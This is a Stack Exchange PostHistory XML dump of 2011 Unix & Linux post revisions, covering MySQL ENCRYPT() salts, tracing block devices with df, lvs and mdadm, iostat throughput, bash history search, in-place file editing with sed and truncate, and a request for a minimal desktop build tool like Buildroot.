  <row Id="27419" PostHistoryTypeId="2" PostId="11315" RevisionGUID="1d66393f-f387-453c-af67-4edc8c4512b3" CreationDate="2011-04-14T12:05:28.040" UserId="5666" Text="From the provided link to `ENCRYPT()`&#xD;&#xA;&#xD;&#xA;&gt; If no salt argument is given, a random&#xD;&#xA;&gt; value is used.&#xD;&#xA;&#xD;&#xA;`salt` is a 2 character string, saved in the beginning of the encrypted text. e.g. encrypting a string with salt='df', 'df' is in the start of the output product.&#xD;&#xA;&#xD;&#xA;    mysql&gt; SELECT ENCRYPT('hello','df');&#xD;&#xA;    +-----------------------+&#xD;&#xA;    | ENCRYPT('hello','df') |&#xD;&#xA;    +-----------------------+&#xD;&#xA;    | dfbVa429UeC0U         | &#xD;&#xA;    +-----------------------+&#xD;&#xA;    1 row in set (0.00 sec)&#xD;&#xA;&#xD;&#xA;Another example, no `salt`&#xD;&#xA;&#xD;&#xA;    mysql&gt; SELECT ENCRYPT('hello');&#xD;&#xA;    +------------------+&#xD;&#xA;    | ENCRYPT('hello') |&#xD;&#xA;    +------------------+&#xD;&#xA;    | oBSydDfeNx5ug    | &#xD;&#xA;    +------------------+&#xD;&#xA;    1 row in set (0.00 sec)&#xD;&#xA;&#xD;&#xA;Now use the first two characters of the previous string as `salt`&#xD;&#xA;&#xD;&#xA;    mysql&gt; SELECT ENCRYPT('hello','oB');&#xD;&#xA;    +-----------------------+&#xD;&#xA;    | ENCRYPT('hello','oB') |&#xD;&#xA;    +-----------------------+&#xD;&#xA;    | oBSydDfeNx5ug         | &#xD;&#xA;    +-----------------------+&#xD;&#xA;    1 row in set (0.00 sec)&#xD;&#xA;&#xD;&#xA;Same output.&#xD;&#xA;&#xD;&#xA;You most probably won't have a problem, but just to be 100% sure (that crypt implementation is the same), create a test account on the old machine and migrate it to the new one. Check if the password works for both of them.&#xD;&#xA;" />
  <row Id="27420" PostHistoryTypeId="5" PostId="11312" RevisionGUID="7f29e649-c399-4fd5-95dc-424a38b69609" CreationDate="2011-04-14T12:05:55.287" UserId="1078" Comment="added 842 characters in body" Text="You use the `df(1)` command, and it will tell you the filesystem that the file/directory is on:&#xD;&#xA;&#xD;&#xA;    df /work&#xD;&#xA;&#xD;&#xA;The first field has the device that the file/directory is on.&#xD;&#xA;&#xD;&#xA;eg.&#xD;&#xA;&#xD;&#xA;    $ df /root&#xD;&#xA;    Filesystem           1K-blocks      Used Available Use% Mounted on&#xD;&#xA;    /dev/sda1              1043289    194300    795977  20% /&#xD;&#xA;&#xD;&#xA;To expand on this in light of your comment about a logical volume as the target block device, you will need to determine which block device(s) the logical volume is on. For this, you can use the `lvs(8)` command:&#xD;&#xA;&#xD;&#xA;    # df /usr&#xD;&#xA;    Filesystem           1K-blocks      Used Available Use% Mounted on&#xD;&#xA;    /dev/mapper/orthanc-usr&#xD;&#xA;                           8256952   4578000   3259524  59% /usr&#xD;&#xA;    # lvs -o +devices /dev/mapper/orthanc-usr&#xD;&#xA;      LV   VG      Attr   LSize Origin Snap%  Move Log Copy%  Convert Devices     &#xD;&#xA;      usr  orthanc -wi-ao 8.00g                                       /dev/sda3(0)&#xD;&#xA;&#xD;&#xA;The last column tells you that the logical volume `usr` in the volume group `orthanc` is on the device(s) `/dev/sda3`. Since a volume group can span multiple physical volumes, you may find that you have multiple devices listed." />
  <row Id="27421" PostHistoryTypeId="25" PostId="11305" RevisionGUID="05b6fef1-c2d6-47be-92fd-84d01fe28d21" CreationDate="2011-04-14T12:09:08.730" Comment="http://twitter.com/#!/StackUnix/status/58502044486610945" />
  <row Id="27423" PostHistoryTypeId="2" PostId="11317" RevisionGUID="291af237-8857-40d3-a92d-ebb3fbb9dc6d" CreationDate="2011-04-14T12:14:33.903" UserId="1925" Text="There are lots of options for this actually, and this will get into the realm of Subjective.&#xD;&#xA;&#xD;&#xA;I personally use PLD-Linux, which allows me to build a working linux system in about a dozen commands (format the file system, mount it, install a package set, configure the boot loader, set a hostname, etc). When it comes to packages, I can pick one package that I need and my system comes out with just the dependencies for that app. If I need apache, I install that, and the system comes up with nothing but the basics need to make that run. If I need firefox, I install that and get a basic set of X dependencies and basically nothing else. I have a couple script to automate this further to just one or two commands to make a working virtual system with a specific purpose.&#xD;&#xA;&#xD;&#xA;Several other linux distros like ArchLinux, and Gentoo specialize in being either lightweight or tailored to your needs. If you want more specific help with one of them...." />
  <row Id="27424" PostHistoryTypeId="5" PostId="11312" RevisionGUID="dd55ee36-ce8e-44fb-b015-f527977713b8" CreationDate="2011-04-14T12:15:19.727" UserId="1078" Comment="added 954 characters in body; added 41 characters in body" Text="You use the `df(1)` command, and it will tell you the filesystem that the file/directory is on:&#xD;&#xA;&#xD;&#xA;    df /work&#xD;&#xA;&#xD;&#xA;The first field has the device that the file/directory is on.&#xD;&#xA;&#xD;&#xA;eg.&#xD;&#xA;&#xD;&#xA;    $ df /root&#xD;&#xA;    Filesystem           1K-blocks      Used Available Use% Mounted on&#xD;&#xA;    /dev/sda1              1043289    194300    795977  20% /&#xD;&#xA;&#xD;&#xA;To expand on this in light of your comment about a logical volume as the target block device, you will need to determine which block device(s) the logical volume is on. For this, you can use the `lvs(8)` command:&#xD;&#xA;&#xD;&#xA;    # df /usr&#xD;&#xA;    Filesystem           1K-blocks      Used Available Use% Mounted on&#xD;&#xA;    /dev/mapper/orthanc-usr&#xD;&#xA;                           8256952   4578000   3259524  59% /usr&#xD;&#xA;    # lvs -o +devices /dev/mapper/orthanc-usr&#xD;&#xA;      LV   VG      Attr   LSize Origin Snap%  Move Log Copy%  Convert Devices     &#xD;&#xA;      usr  orthanc -wi-ao 8.00g                                       /dev/sda3(0)&#xD;&#xA;&#xD;&#xA;The last column tells you that the logical volume `usr` in the volume group `orthanc` is on the device(s) `/dev/sda3`. Since a volume group can span multiple physical volumes, you may find that you have multiple devices listed.&#xD;&#xA;&#xD;&#xA;Another type of logical block device is a md (Multiple Devices, and used to be called meta-disk I think) device, such as `/dev/md2`. To look at the components of a md device, you can use `mdadm --detail` or look in `/proc/mdstat`&#xD;&#xA;&#xD;&#xA;    # df /srv&#xD;&#xA;    Filesystem           1K-blocks      Used Available Use% Mounted on&#xD;&#xA;    /dev/md2             956626436 199340344 757286092  21% /srv&#xD;&#xA;    # mdadm --detail /dev/md2&#xD;&#xA;    ...details elided...&#xD;&#xA;        Number   Major   Minor   RaidDevice State&#xD;&#xA;           0       8        3        0      active sync   /dev/sda3&#xD;&#xA;           1       8       19        1      active sync   /dev/sdb3&#xD;&#xA;&#xD;&#xA;You can see that /dev/md2 is on the `/dev/sda3` and `/dev/sdb3` devices.&#xD;&#xA;&#xD;&#xA;There are other methods that block devices can be nested (fuse, loopback filesystems) that will have their own methods for determining the underlying block device, and you can even nest multiple layers so you have to work your way down. You'll have to take each case as it comes.&#xD;&#xA;" />
  <row Id="27425" PostHistoryTypeId="2" PostId="11318" RevisionGUID="11c2be44-fd88-4c77-b768-8f141d2589ac" CreationDate="2011-04-14T12:21:00.157" UserId="3001" Text="You're doing small random writes, which is pretty much the slowest thing you can do on a spinning disk, so I would say your throughput meets (my) expectations.&#xD;&#xA;&#xD;&#xA;Your `avgrq-sz` size is 15.35, which means your average request is 15.35 x the sector size of your SATA disk (most commonly 512 bytes, but possibly 4096 bytes on a very new SATA disk), so you're writing 15.35 x 512 bytes = 7,859.2 bytes (on average) per request, times the 383 writes/second `iostat` is reporting gives you 3,010,073.6 bytes (we're multiplying by an average, so that's where the .6 bytes comes from).  And 3,010,073.6 bytes/second is 2.87MB/s.&#xD;&#xA;&#xD;&#xA;How many writes you can do per second is going to depend on how much the disk needs to move the heads, but roughly speaking you are approaching the maximum number of writes your device can make in a second.&#xD;&#xA;&#xD;&#xA;Higher write speeds on spinning disks happen when you combine a small number of writes per second with a large `avgrq-sz`.&#xD;&#xA;&#xD;&#xA;If this is a critical performance issue for you, I'd suggest investigating the various SSD options that generally will give much better performance on a workload like this." />
  <row Id="27426" PostHistoryTypeId="2" PostId="11319" RevisionGUID="0661d467-282a-4073-bc69-ebe7e2d4fbb0" CreationDate="2011-04-14T12:29:00.533" UserId="138" Text="You need to run `iostat` several times while monitoring this to build up a true picture of what's going on. That, or use a tool like &lt;a href=&quot;http://www.cacti.net/&quot;&gt;Cacti&lt;/a&gt; to keep such statistics for you over time so you can look at the historical graph.&#xD;&#xA;&#xD;&#xA;What's most likely happening is that the disk is also doing a lot of reads, due to the DB table scan, and the `iostat` run you posted just happened to be done during a time when the DBMS was writing rather than reading. Writing interleaved with reading is really slow on a hard disk because it involves seeking, which is the slowest thing a hard drive does. If you listen to the hard drive, you can probably hear it rattling madly as it rapidly alternates between writing and reading to different portions of the hard disk.&#xD;&#xA;&#xD;&#xA;To make this process run at the double-digit MByte/s rate you're expecting, you'd have to split the process in two, building up the index in RAM while doing the table scan, then writing the complete index out. MySQL is highly-optimized software, so if it *could* do this, I expect it would, and since it isn't, it can't. That is to say, it probably doesn't have enough RAM to do that. That either means you don't have enough physical RAM in the machine for MySQL's portion to contain the complete index, or that you haven't given it a high enough portion of the system's RAM in the MySQL configuration file. Tuning MySQL is a topic for a different forum, however." />
  <row Id="27427" PostHistoryTypeId="2" PostId="11320" RevisionGUID="9130ae1a-8413-4373-a0e6-e35ed8d78f05" CreationDate="2011-04-14T12:43:59.327" UserId="138" Text="The Bash history mechanism doesn't store timestamps, which you'd need to build the facility you're asking for.&#xD;&#xA;&#xD;&#xA;You could alias `cd` to some shell function you write and put in your `~/.bash_profile` which does maintain timestamps, and then use that to build up this service. It's a small matter of programming to read a list of timestamp/directory pairs, collect the N most-seen directories in the last M hours, and present a pick list. I lack the time right now to do that for you. If you were thinking of getting into programming, this is an excellent first project, however. The Bash function part is trivial, and the rest could be done in any language you wanted to learn.&#xD;&#xA;&#xD;&#xA;As a right-now substitute, however, get into the habit of using Bash's reverse incremental search feature, &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt;. Press that, then type &quot;cd &quot; (without the quotes, but with the trailing space) to be taken back to the previous `cd` command. Then each time you hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt;, it takes you back to the `cd` command prior to that. In this way, you can walk backwards through all the `cd` commands you've given, within the limits of Bash's history feature.&#xD;&#xA;&#xD;&#xA;Say:&#xD;&#xA;&#xD;&#xA;    $ echo $HISTFILESIZE&#xD;&#xA;&#xD;&#xA;to see how many command lines Bash history will store for you. You might need to increase this to hold 3 hours worth of command history." />
  <row Id="27428" PostHistoryTypeId="2" PostId="11321" RevisionGUID="54b0fddd-a346-4d29-9254-03ff01ab7ac5" CreationDate="2011-04-14T12:44:23.273" UserId="6585" Text="if you want to search an full tree try&#xD;&#xA;&#xD;&#xA;    find . -exec grep -n blah  {} /; -ls  &#xD;&#xA;&#xD;&#xA;or does similar &#xD;&#xA;&#xD;&#xA;    find . -exec grep -n blah {} /; -print" />
  <row Id="27429" PostHistoryTypeId="5" PostId="11262" RevisionGUID="504a243a-fdac-4f5a-a4e5-889ea02ff45d" CreationDate="2011-04-14T13:16:46.057" UserId="5286" Comment="added 200 characters in body" Text="I've not used `dd` all that much, but so far it's not failed me yet. Right now, I've had a `dd` going for over 12 hours - I'm writing an image back to the disk it came from - and I'm getting a little worried, as I was able to `dd` from the disk to the image in about 7 hours. &#xD;&#xA;&#xD;&#xA;I'm running OSX 10.6.6 on a MacBook with a Core 2 Duo at 2.1ghz/core with 4gb RAM. I'm reading from a .dmg on a 7200rpm hard drive (the boot drive), and I'm writing to a 7200rpm drive connected over a SATA-to-USB connector. I left the blocksize at default, and the image is about 160gb.&#xD;&#xA;&#xD;&#xA;EDIT: And, after 14 hours of pure stress, the `dd` worked perfectly after all. Next time, though, I'm going to run it through `pv` and track it with `strace`. Thanks to everyone for all your help." />
  <row Id="27430" PostHistoryTypeId="2" PostId="11322" RevisionGUID="80a94212-ab06-497d-9694-4a09da162c11" CreationDate="2011-04-14T13:17:24.027" UserId="2343" Text="You can use a bash read/write file descriptor to open your file (and overwrite it in-situ), then `sed` and `truncate` ... but of course, don't ever allow your changes to be larger than the amount of data read so far.   &#xD;&#xA;&#xD;&#xA;Here is the script  &#xD;&#xA;&#xD;&#xA;    echo &quot;going abc&quot;  &gt;junk  # just a test file&#xD;&#xA;    echo &quot;going def&quot; &gt;&gt;junk&#xD;&#xA;    echo &quot;# ORIGINAL file&quot;;cat junk |tee &gt;( wc=($(wc)); echo &quot;# ${wc[0]} lines, ${wc[2]} bytes&quot; ;echo )&#xD;&#xA;    #&#xD;&#xA;    exec 3&lt;&gt; junk  # Assign file to fd 3, and open it r/w&#xD;&#xA;    &lt;junk sed -e &quot;s/going //&quot; |tee &gt;(wc -c &gt;newsize) &gt;&amp;3&#xD;&#xA;    exec 3&gt;&amp;- # close fd 3.&#xD;&#xA;    newsize=$(cat newsize)&#xD;&#xA;    echo &quot;# MODIFIED file&quot;;cat junk |tee &gt;( wc=($(wc)); echo &quot;# ${wc[0]} lines, ${wc[2]} bytes&quot; ;echo )  cat  junk&#xD;&#xA;    #&#xD;&#xA;    truncate -s $newsize junk&#xD;&#xA;    echo &quot;# NEW (truncated) file&quot;;cat junk |tee &gt;( wc=($(wc)); echo &quot;# ${wc[0]} lines, ${wc[2]} bytes&quot; ;echo )  cat  junk&#xD;&#xA;&#xD;&#xA;Here is the test output&#xD;&#xA;  &#xD;&#xA;    # ORIGINAL file&#xD;&#xA;    going abc&#xD;&#xA;    going def&#xD;&#xA;    # 2 lines, 20 bytes&#xD;&#xA;&#xD;&#xA;    # MODIFIED file&#xD;&#xA;    abc&#xD;&#xA;    def&#xD;&#xA;    c&#xD;&#xA;    going def&#xD;&#xA;    # 4 lines, 20 bytes&#xD;&#xA;&#xD;&#xA;    # NEW (truncated) file&#xD;&#xA;    abc&#xD;&#xA;    def&#xD;&#xA;    # 2 lines, 8 bytes&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27431" PostHistoryTypeId="2" PostId="11323" RevisionGUID="8954faff-f35c-4af0-aa79-ff8aecda813a" CreationDate="2011-04-14T13:20:57.210" UserId="4667" Text="print up to and including the match:&#xD;&#xA;&#xD;&#xA;    awk '{print} /pattern/ {exit}' filename&#xD;&#xA;&#xD;&#xA;print up to BUT NOT including the match:&#xD;&#xA;&#xD;&#xA;    awk '/pattern/ {exit} {print}' filename&#xD;&#xA;&#xD;&#xA;Disclaimer: I know awk better than sed -- I bet there is a sed way to do both." />
  <row Id="27432" PostHistoryTypeId="2" PostId="11324" RevisionGUID="23c26db1-06c6-4697-b626-ac57d27a84ae" CreationDate="2011-04-14T13:21:37.863" UserId="6587" Text="I'm looking for a way to sync music to my Android Phone without having to load something like banshee. I know there are plenty of ways to sync *files*, but I'm interested in syncing *playlists* and having the playlists dictate which files are synced." />
  <row Id="27433" PostHistoryTypeId="1" PostId="11324" RevisionGUID="23c26db1-06c6-4697-b626-ac57d27a84ae" CreationDate="2011-04-14T13:21:37.863" UserId="6587" Text="Command-line software for playlist syncing to Android Phone?" />
  <row Id="27434" PostHistoryTypeId="3" PostId="11324" RevisionGUID="23c26db1-06c6-4697-b626-ac57d27a84ae" CreationDate="2011-04-14T13:21:37.863" UserId="6587" Text="écommandölineàémusicàéandroidà" />
  <row Id="27435" PostHistoryTypeId="5" PostId="11322" RevisionGUID="fee970e5-2572-4b11-ab96-2d5655797ff2" CreationDate="2011-04-14T13:23:02.153" UserId="2343" Comment="added 327 characters in body; edited body; deleted 106 characters in body; added 20 characters in body; deleted 14 characters in body" Text="You can use a bash read/write file descriptor to open your file (and overwrite it in-situ), then `sed` and `truncate` ... but of course, don't ever allow your changes to be larger than the amount of data read so far.   &#xD;&#xA;&#xD;&#xA;Here is the script  &#xD;&#xA;&#xD;&#xA;    echo &quot;going abc&quot;  &gt;junk  # just a test file&#xD;&#xA;    echo &quot;going def&quot; &gt;&gt;junk&#xD;&#xA;    echo &quot;# ORIGINAL file&quot;;cat junk |tee &gt;( wc=($(wc)); echo &quot;# ${wc[0]} lines, ${wc[2]} bytes&quot; ;echo )&#xD;&#xA;    #&#xD;&#xA;    exec 3&lt;&gt; junk  # Assign file to fd 3, and open it r/w&#xD;&#xA;    &lt;junk sed -e &quot;s/going //&quot; |tee &gt;(wc -c &gt;newsize) &gt;&amp;3 &#xD;&#xA;    # TODO: dedicated wait logic for the newsize process to finish, as it runs asynchronously... see: http://unix.stackexchange.com/questions/10623/a-tee-process-is-truncating-its-stdout-when-writing-a-file&#xD;&#xA;    exec 3&gt;&amp;- # close fd 3.&#xD;&#xA;    newsize=$(cat newsize)&#xD;&#xA;    echo &quot;# MODIFIED file&quot;;cat junk |tee &gt;( wc=($(wc)); echo &quot;# ${wc[0]} lines, ${wc[2]} bytes&quot; ;echo )  cat  junk&#xD;&#xA;    #&#xD;&#xA;    truncate -s $newsize junk&#xD;&#xA;    echo &quot;# NEW (truncated) file&quot;;cat junk |tee &gt;( wc=($(wc)); echo &quot;# ${wc[0]} lines, ${wc[2]} bytes&quot; ;echo )  cat  junk&#xD;&#xA;&#xD;&#xA;Here is the test output&#xD;&#xA;  &#xD;&#xA;    # ORIGINAL file&#xD;&#xA;    going abc&#xD;&#xA;    going def&#xD;&#xA;    # 2 lines, 20 bytes&#xD;&#xA;&#xD;&#xA;    # MODIFIED file (before truncating)&#xD;&#xA;    abc&#xD;&#xA;    def&#xD;&#xA;    c&#xD;&#xA;    going def&#xD;&#xA;    # 4 lines, 20 bytes&#xD;&#xA;&#xD;&#xA;    # NEW (truncated) file&#xD;&#xA;    abc&#xD;&#xA;    def&#xD;&#xA;    # 2 lines, 8 bytes&#xD;&#xA;" />
  <row Id="27436" PostHistoryTypeId="5" PostId="11310" RevisionGUID="64ea5eea-c06c-44fa-83eb-9e8a6fb6e7d1" CreationDate="2011-04-14T13:27:14.243" UserId="1311" Comment="added 624 characters in body; added 217 characters in body" Text="Increasingly I am dissatisfied by the fact, that configuring my linux *desktop* usually means removing bloat instead of adding and tweaking features. I have come to the conclusion that I would rather begin with something very minimal and then add packages I learn about that provide additional functionality.&#xD;&#xA;&#xD;&#xA;So I am **looking for either a very minimal desktop distribution or even better a tool to build such a distribution**. Or in other words I want to **replace the package manager with a pre-runtime build tool**.&#xD;&#xA;&#xD;&#xA;A package manager won't hurt but I am looking for a distribution that focuses on advanced upfront configuration instead of a huge package repository&#xD;&#xA;&#xD;&#xA;I have looked at various minimal desktop distributions but they all appear to solve different problems, e.g. are designed to run on older hardware or run from cd/stick/ramfs. But I don't want a minimal distribution because my I have old hardware but because I want to know what purpose the various parts play. Running from main memory doesn't help there either, I want something minimal *and* simple.&#xD;&#xA;&#xD;&#xA;Since it appears there are no distributions that are designed for the kind of minimalism I have in mind an obvious choice would be to build [Linux From Scratch][1]. However while I want the build process to be highly customization it also has to be automated because I will have to run it quite a few times until I have a system I am satisfied with.&#xD;&#xA;&#xD;&#xA;While a tool for lfs exists that can automate the build process it's not really integral part. Basically it extracts the steps required to build the system from the documentation and then does it automatically. I am looking for something a little more robust and advanced and also don't feel like editing xml.&#xD;&#xA;&#xD;&#xA;After a bit of searching I found [Buildroot][2] which is intended to build *embedded* distributions but also allows the installation of X11. Before building a toolchain and then a rootfs the build can be configured using `make menuconfig` just like Linux. This looks exacly like what I had in mind, except that it is intended for cross compiling for embedded systems.&#xD;&#xA;&#xD;&#xA;What I currently have in mind is using buildroot but first ripping out all the embedded specific part replacing them with the respective parts from lfs. Lot's of work.&#xD;&#xA;&#xD;&#xA;Also there are some problems with buildroot most importantly (as it appears from my limiting testing) just enabling an additional package results in the hole thing being rebuild from scratch, but for trivial changes I would like to avoid that.&#xD;&#xA;&#xD;&#xA;Before I make that time investment I will continue my search for a desktop distribution with a similar build tool like buildroot, are a alternative to/fork of buildroot intended for building desktop distributions.&#xD;&#xA;&#xD;&#xA;**Edit:** The answers so far point me to distributions like e.g. Gentoo, which is what I am currently using. I am looking for an alternative to distributions like Gentoo, Arch, Debian etc. These distributions are not minimal enough. One has to customize these distributions after installation. I want something that can be customized before installation.&#xD;&#xA;&#xD;&#xA;While all of the mentioned distributions are fine distribution they are not what I am looking for. What I am looking for is **&quot;buildroot for desktop&quot;**. If you do not know what buildroot is then you probably won't be able to provide an answer which satisfies me.&#xD;&#xA;&#xD;&#xA;Also I don't think that this question is subjective. I simply can not find anything that comes close to my needs and am therefor asking you to point me to projects that might provide at least parts of what I need.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxfromscratch.org/&#xD;&#xA;  [2]: http://buildroot.uclibc.org/" />
  <row Id="27437" PostHistoryTypeId="5" PostId="11322" RevisionGUID="64d1db9d-b7bf-457e-8fc1-52975deaa4f2" CreationDate="2011-04-14T13:28:59.327" UserId="2343" Comment="deleted 1 characters in body" Text="You can use a bash read/write file descriptor to open your file (to overwrite it in-situ), then `sed` and `truncate` ... but of course, don't ever allow your changes to be larger than the amount of data read so far.   &#xD;&#xA;&#xD;&#xA;Here is the script  &#xD;&#xA;&#xD;&#xA;    echo &quot;going abc&quot;  &gt;junk  # just a test file&#xD;&#xA;    echo &quot;going def&quot; &gt;&gt;junk&#xD;&#xA;    echo &quot;# ORIGINAL file&quot;;cat junk |tee &gt;( wc=($(wc)); echo &quot;# ${wc[0]} lines, ${wc[2]} bytes&quot; ;echo )&#xD;&#xA;    #&#xD;&#xA;    exec 3&lt;&gt; junk  # Assign file to fd 3, and open it r/w&#xD;&#xA;    &lt;junk sed -e &quot;s/going //&quot; |tee &gt;(wc -c &gt;newsize) &gt;&amp;3 &#xD;&#xA;    # TODO: dedicated wait logic for the newsize process to finish, as it runs asynchronously... see: http://unix.stackexchange.com/questions/10623/a-tee-process-is-truncating-its-stdout-when-writing-a-file&#xD;&#xA;    exec 3&gt;&amp;- # close fd 3.&#xD;&#xA;    newsize=$(cat newsize)&#xD;&#xA;    echo &quot;# MODIFIED file&quot;;cat junk |tee &gt;( wc=($(wc)); echo &quot;# ${wc[0]} lines, ${wc[2]} bytes&quot; ;echo )  cat  junk&#xD;&#xA;    #&#xD;&#xA;    truncate -s $newsize junk&#xD;&#xA;    echo &quot;# NEW (truncated) file&quot;;cat junk |tee &gt;( wc=($(wc)); echo &quot;# ${wc[0]} lines, ${wc[2]} bytes&quot; ;echo )  cat  junk&#xD;&#xA;&#xD;&#xA;Here is the test output&#xD;&#xA;  &#xD;&#xA;    # ORIGINAL file&#xD;&#xA;    going abc&#xD;&#xA;    going def&#xD;&#xA;    # 2 lines, 20 bytes&#xD;&#xA;&#xD;&#xA;    # MODIFIED file (before truncating)&#xD;&#xA;    abc&#xD;&#xA;    def&#xD;&#xA;    c&#xD;&#xA;    going def&#xD;&#xA;    # 4 lines, 20 bytes&#xD;&#xA;&#xD;&#xA;    # NEW (truncated) file&#xD;&#xA;    abc&#xD;&#xA;    def&#xD;&#xA;    # 2 lines, 8 bytes&#xD;&#xA;" />
  <row Id="27438" PostHistoryTypeId="5" PostId="11310" RevisionGUID="288253fb-6625-4617-b20c-c74df072d515" CreationDate="2011-04-14T13:38:56.220" UserId="1311" Comment="added 12 characters in body; added 11 characters in body" Text="Increasingly I am dissatisfied by the fact, that configuring my linux *desktop* usually means removing bloat instead of adding and tweaking features. I have come to the conclusion that I would rather begin with something very minimal and then add packages I learn about that provide additional functionality.&#xD;&#xA;&#xD;&#xA;So I am **looking for either a very minimal desktop distribution or even better a tool to build such a distribution**. Or in other words I want to **replace the package manager with a pre-runtime build tool**.&#xD;&#xA;&#xD;&#xA;A package manager won't hurt but I am looking for a distribution that focuses on advanced upfront configuration instead of a huge package repository&#xD;&#xA;&#xD;&#xA;I have looked at various minimal desktop distributions but they all appear to solve different problems, e.g. are designed to run on older hardware or run from cd/stick/ramfs. But I don't want a minimal distribution because my I have old hardware but because I want to know what purpose the various parts play. Running from main memory doesn't help there either, I want something minimal *and* simple.&#xD;&#xA;&#xD;&#xA;Since it appears there are no distributions that are designed for the kind of minimalism I have in mind an obvious choice would be to build [Linux From Scratch][1]. However while I want the build process to be highly customization it also has to be automated because I will have to run it quite a few times until I have a system I am satisfied with.&#xD;&#xA;&#xD;&#xA;While a tool for lfs exists that can automate the build process it's not really integral part. Basically it extracts the steps required to build the system from the documentation and then does it automatically. I am looking for something a little more robust and advanced and also don't feel like editing xml.&#xD;&#xA;&#xD;&#xA;After a bit of searching I found [Buildroot][2] which is intended to build *embedded* distributions but also allows the installation of X11. Before building a toolchain and then a rootfs the build can be configured using `make menuconfig` just like Linux. This looks exacly like what I had in mind, except that it is intended for cross compiling for embedded systems.&#xD;&#xA;&#xD;&#xA;What I currently have in mind is using buildroot but first ripping out all the embedded specific part replacing them with the respective parts from lfs. Lot's of work.&#xD;&#xA;&#xD;&#xA;Also there are some problems with buildroot most importantly (as it appears from my limiting testing) just enabling an additional package results in the hole thing being rebuild from scratch, but for trivial changes I would like to avoid that.&#xD;&#xA;&#xD;&#xA;Before I make that time investment I will continue my search for a desktop distribution with a *pre-installation* build tool like buildroot, are an alternative to/fork of buildroot intended for building desktop distributions.&#xD;&#xA;&#xD;&#xA;**Edit:** The answers so far point me to distributions like e.g. Gentoo, which is what I am currently using. But I am *looking for an alternative* to distributions like Gentoo, Arch, Debian etc. Also these distributions are not minimal enough. One has to customize these distributions after installation. I want something that can be customized before installation.&#xD;&#xA;&#xD;&#xA;While all of the mentioned distributions are fine distribution they are not what I am looking for. What I am looking for is **&quot;buildroot for desktop&quot;**. If you do not know what buildroot is then you probably won't be able to provide an answer which satisfies me.&#xD;&#xA;&#xD;&#xA;Also I don't think that this question is subjective. I simply can not find anything that comes close to my needs and am therefor asking you to point me to projects that might provide at least parts of what I need.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxfromscratch.org/&#xD;&#xA;  [2]: http://buildroot.uclibc.org/" />
  <row Id="27441" PostHistoryTypeId="5" PostId="11310" RevisionGUID="d9a85b78-ac6e-48cf-ae30-3844c72bb555" CreationDate="2011-04-14T13:47:50.140" UserId="1311" Comment="added 3 characters in body" Text="Increasingly I am dissatisfied by the fact, that configuring my linux *desktop* usually means removing bloat instead of adding and tweaking features. I have come to the conclusion that I would rather begin with something very minimal and then add packages I learn about that provide additional functionality.&#xD;&#xA;&#xD;&#xA;So I am **looking for either a very minimal desktop distribution or even better a tool to build such a distribution**. Or in other words I want to **replace the package manager with a pre-runtime build tool**.&#xD;&#xA;&#xD;&#xA;A package manager won't hurt but I am looking for a distribution that focuses on advanced upfront configuration instead of a huge package repository&#xD;&#xA;&#xD;&#xA;I have looked at various minimal desktop distributions but they all appear to solve different problems, e.g. are designed to run on older hardware or run from cd/stick/ramfs. But I don't want a minimal distribution because my I have old hardware but because I want to know what purpose the various parts play. Running from main memory doesn't help there either, I want something minimal *and* simple.&#xD;&#xA;&#xD;&#xA;Since it appears there are no distributions that are designed for the kind of minimalism I have in mind an obvious choice would be to build [Linux From Scratch][1]. However while I want the build process to be highly customization it also has to be automated because I will have to run it quite a few times until I have a system I am satisfied with.&#xD;&#xA;&#xD;&#xA;While a tool for lfs exists that can automate the build process it's not really integral part. Basically it extracts the steps required to build the system from the documentation and then does it automatically. I am looking for something a little more robust and advanced and also don't feel like editing xml.&#xD;&#xA;&#xD;&#xA;After a bit of searching I found [Buildroot][2] which is intended to build *embedded* distributions but also allows the installation of X11. Before building a toolchain and then a rootfs the build can be configured using `make menuconfig` just like Linux. This looks exacly like what I had in mind, except that it is intended for cross compiling for embedded systems.&#xD;&#xA;&#xD;&#xA;What I currently have in mind is using buildroot but first ripping out all the embedded specific part replacing them with the respective parts from lfs. Lot's of work.&#xD;&#xA;&#xD;&#xA;Also there are some problems with buildroot most importantly (as it appears from my limiting testing) just enabling an additional package results in the hole thing being rebuild from scratch, but for trivial changes I would like to avoid that.&#xD;&#xA;&#xD;&#xA;Before I make that time investment I will continue my search for a desktop distribution with a *pre-installation* build tool like buildroot, are an alternative to/fork of buildroot intended for building desktop distributions.&#xD;&#xA;&#xD;&#xA;**Edit:** The answers so far point me to distributions like e.g. Gentoo, which is what I am currently using. But I am *looking for an alternative* to distributions like Gentoo, Arch, Debian etc. as these distributions are not minimal enough. Also one has to customize these distributions after installation. I want something that can be customized before installation.&#xD;&#xA;&#xD;&#xA;While all of the mentioned distributions are fine distribution they are not what I am looking for. What I am looking for is **&quot;buildroot for desktop&quot;**. If you do not know what buildroot is then you probably won't be able to provide an answer which satisfies me.&#xD;&#xA;&#xD;&#xA;Also I don't think that this question is subjective. I simply can not find anything that comes close to my needs and am therefor asking you to point me to projects that might provide at least parts of what I need.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxfromscratch.org/&#xD;&#xA;  [2]: http://buildroot.uclibc.org/" />
